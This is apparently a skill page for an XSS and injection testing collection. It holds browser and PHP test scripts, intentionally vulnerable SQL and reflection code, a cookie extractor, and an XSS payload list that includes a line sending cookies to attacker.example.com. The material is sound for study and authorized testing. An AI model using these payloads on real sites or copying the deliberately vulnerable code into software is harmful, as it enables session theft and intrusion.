acidrain-security-testing

# AcidRain Security Testing Skill > Skill by [ara.so](https://ara.so) — Security Skills collection. AcidRain is a 2026 web-oriented collection of XSS analysis resources, JavaScript utilities, PHP examples, injection testing samples, and research snippets designed for authorized security testing and hands-on learning in controlled environments. ## Installation Clone the repository and navigate to the project directory: ```bash git clone https://github.com/henry-lewiskpp1107/acidrain-security-script-hub.git cd acidrain-security-script-hub ``` Expected directory structure: ```text acidrain-security-script-hub/ ├── scripts/ │ ├── javascript/ # Client-side security testing scripts │ ├── php/ # Server-side PHP examples │ └── xss/ # XSS-specific payloads and tests ├── configs/ # Configuration files ├── examples/ # Working examples and demonstrations ├── docs/ # Documentation ├── LICENSE └── README.md ``` ## Project Structure and Components ### JavaScript Utilities (Client-Side) JavaScript utilities are located in `scripts/javascript/`. These are browser-based security testing scripts. **Basic XSS Test Script:** ```javascript // scripts/javascript/xss-test-basic.js // Test for reflected XSS in search parameters (function() { const payload = '<script>alert("XSS")</script>'; const testUrl = new URL(window.location); // Test search parameter testUrl.searchParams.set('q', payload); console.log('[AcidRain] Testing URL:', testUrl.toString()); console.log('[AcidRain] Payload:', payload); // Check if payload is reflected in DOM const bodyText = document.body.innerHTML; if (bodyText.includes(payload)) { console.warn('[AcidRain] Potential XSS: Payload reflected in DOM'); } })(); ``` **Cookie Extraction Utility:** ```javascript // scripts/javascript/cookie-extractor.js // Extract and log cookies (for authorized testing only) function extractCookies() { const cookies = document.cookie.split(';').map(c => c.trim()); const cookieData = {}; cookies.forEach(cookie => { const [name, value] = cookie.split('='); cookieData[name] = value; }); console.log('[AcidRain] Cookies extracted:', cookieData); return cookieData; } // Usage const cookies = extractCookies(); ``` **DOM-Based XSS Scanner:** ```javascript // scripts/javascript/dom-xss-scanner.js // Scan for DOM-based XSS sinks const dangerousSinks = [ 'innerHTML', 'outerHTML', 'document.write', 'eval', 'setTimeout', 'setInterval' ]; function scanDOMXSS() { const sources = [ window.location.hash, window.location.search, document.referrer ]; console.log('[AcidRain] Checking DOM sources:', sources); sources.forEach((source, idx) => { if (source && source.length > 0) { console.log(`[AcidRain] Source ${idx}:`, source); // Check for dangerous patterns dangerousSinks.forEach(sink => { if (document.body.innerHTML.includes(sink)) { console.warn(`[AcidRain] Potential sink found: ${sink}`); } }); } }); } // Run scanner scanDOMXSS(); ``` ### PHP Server-Side Examples PHP scripts are located in `scripts/php/`. Use these in authorized testing environments with PHP installed. **Basic Injection Test:** ```php <?php // scripts/php/basic-injection-test.php // Test for SQL injection vulnerabilities (use in isolated environment) header('Content-Type: text/html; charset=utf-8'); // INSECURE example for testing purposes only function vulnerableQuery($userInput) { // WARNING: This is intentionally vulnerable $query = "SELECT * FROM users WHERE name = '" . $userInput . "'"; echo "<h3>AcidRain - Injection Test</h3>"; echo "<p><strong>Query:</strong> " . htmlspecialchars($query) . "</p>"; // Detection patterns $patterns = [ "'" => "Single quote detected", "--" => "SQL comment detected", "OR 1=1" => "Tautology detected", "UNION" => "UNION injection detected" ]; foreach ($patterns as $pattern => $message) { if (stripos($userInput, $pattern) !== false) { echo "<p style='color: red;'>[AcidRain] {$message}</p>"; } } } // Test with GET parameter if (isset($_GET['test'])) { vulnerableQuery($_GET['test']); } else { echo "<p>Add ?test=payload to URL</p>"; } ?> ``` **XSS Reflection Test:** ```php <?php // scripts/php/xss-reflection-test.php // Test XSS reflection and encoding function testXSSReflection($input) { echo "<h3>AcidRain - XSS Reflection Test</h3>"; // Vulnerable reflection (for testing) echo "<div class='vulnerable'>"; echo "<h4>Vulnerable Output:</h4>"; echo "<p>" . $input . "</p>"; echo "</div>"; // Safe reflection (encoded) echo "<div class='safe'>"; echo "<h4>Encoded Output:</h4>"; echo "<p>" . htmlspecialchars($input, ENT_QUOTES, 'UTF-8') . "</p>"; echo "</div>"; // Detection $xssPatterns = [ '<script' => 'Script tag detected', 'onerror=' => 'Event handler detected', 'javascript:' => 'JavaScript protocol detected', '<img' => 'Image tag detected' ]; foreach ($xssPatterns as $pattern => $message) { if (stripos($input, $pattern) !== false) { echo "<p style='color: orange;'>[AcidRain] {$message}</p>"; } } } if (isset($_GET['payload'])) { testXSSReflection($_GET['payload']); } else { echo "<p>Add ?payload=&lt;script&gt;alert('XSS')&lt;/script&gt; to URL</p>"; } ?> ``` **File Upload Validator:** ```php <?php // scripts/php/file-upload-test.php // Test file upload security controls function analyzeFileUpload($file) { $results = []; // Check extension $extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION)); $results['extension'] = $extension; // Check MIME type $finfo = finfo_open(FILEINFO_MIME_TYPE); $mimeType = finfo_file($finfo, $file['tmp_name']); finfo_close($finfo); $results['mime_type'] = $mimeType; // Dangerous extensions $dangerous = ['php', 'phtml', 'php3', 'php4', 'php5', 'exe', 'sh']; if (in_array($extension, $dangerous)) { $results['warning'] = "Dangerous extension detected: {$extension}"; } // MIME mismatch $expectedMimes = [ 'jpg' => 'image/jpeg', 'png' => 'image/png', 'gif' => 'image/gif', 'pdf' => 'application/pdf' ]; if (isset($expectedMimes[$extension]) && $mimeType !== $expectedMimes[$extension]) { $results['warning'] = "MIME type mismatch: expected {$expectedMimes[$extension]}, got {$mimeType}"; } return $results; } // Usage with $_FILES if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['testfile'])) { $analysis = analyzeFileUpload($_FILES['testfile']); echo "<pre>[AcidRain] File Analysis:\n" . print_r($analysis, true) . "</pre>"; } ?> ``` ## XSS Payload Examples Common XSS payloads for testing (use in `scripts/xss/`): ```html <!-- scripts/xss/payloads.html --> <!-- Basic XSS Payloads for Authorized Testing --> <!-- Script tag injection --> <script>alert('XSS')</script> <!-- Image tag with onerror --> <img src=x onerror=alert('XSS')> <!-- SVG-based XSS --> <svg/onload=alert('XSS')> <!-- Event handler in anchor --> <a href="javascript:alert('XSS')">Click</a> <!-- Input with autofocus --> <input autofocus onfocus=alert('XSS')> <!-- Iframe with JavaScript protocol --> <iframe src="javascript:alert('XSS')"> <!-- Encoded payloads --> <img src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;"> <!-- DOM-based payload --> <script>document.location='http://attacker.example.com/?c='+document.cookie</script> ``` ## Configuration Create a configuration file for test environments: ```javascript // configs/test-config.js // AcidRain test environment configuration const AcidRainConfig = { // Target configuration (use only authorized targets) target: { url: process.env.ACIDRAIN_TARGET_URL || 'http://localhost:8080', protocol: process.env.ACIDRAIN_PROTOCOL || 'http', testMode: process.env.ACIDRAIN_TEST_MODE === 'true' }, // Logging configuration logging: { enabled: true, verbose: process.env.ACIDRAIN_VERBOSE === 'true', outputFile: process.env.ACIDRAIN_LOG_FILE || './acidrain.log' }, // Payload settings payloads: { xssBasic: '<script>alert("XSS")</script>', xssImg: '<img src=x onerror=alert("XSS")>', sqlBasic: "' OR 1=1--", customPayloads: process.env.ACIDRAIN_CUSTOM_PAYLOADS || [] }, // Safety limits safety: { requireAuthorization: true, maxRequestsPerMinute: 10, timeoutMs: 5000 } }; module.exports = AcidRainConfig; ``` PHP configuration: ```php <?php // configs/test-config.php // AcidRain PHP configuration define('ACIDRAIN_TARGET_URL', getenv('ACIDRAIN_TARGET_URL') ?: 'http://localhost:8080'); define('ACIDRAIN_TEST_MODE', getenv('ACIDRAIN_TEST_MODE') === 'true'); define('ACIDRAIN_LOG_FILE', getenv('ACIDRAIN_LOG_FILE') ?: './acidrain.log'); $acidRainConfig = [ 'target' => [ 'url' => ACIDRAIN_TARGET_URL, 'testMode' => ACIDRAIN_TEST_MODE ], 'payloads' => [ 'xss_basic' => '<script>alert("XSS")</script>',